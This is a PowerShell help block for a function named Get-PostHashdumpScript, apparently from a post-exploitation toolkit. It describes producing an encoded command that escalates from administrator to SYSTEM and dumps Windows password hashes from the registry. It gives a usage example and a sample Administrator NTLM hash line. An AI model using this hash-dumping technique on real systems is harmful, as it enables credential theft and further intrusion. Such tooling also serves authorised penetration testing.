  .SYNOPSIS
     Dumps hashes from the local system. Note: administrative privileges required.
  .DESCRIPTION
    Generate a command for dumping hashes from a Windows System PowerShell.exe -command 
    Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM
    and execute a hashdump by reading the hashes from the registry.
  .EXAMPLE
    $enc = Get-PostHashdumpScript
    C:\PS>powershell.exe -command $enc
      Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0:::

    Executes the compressed command generated by the function and dumps the windows hashes from the registry.
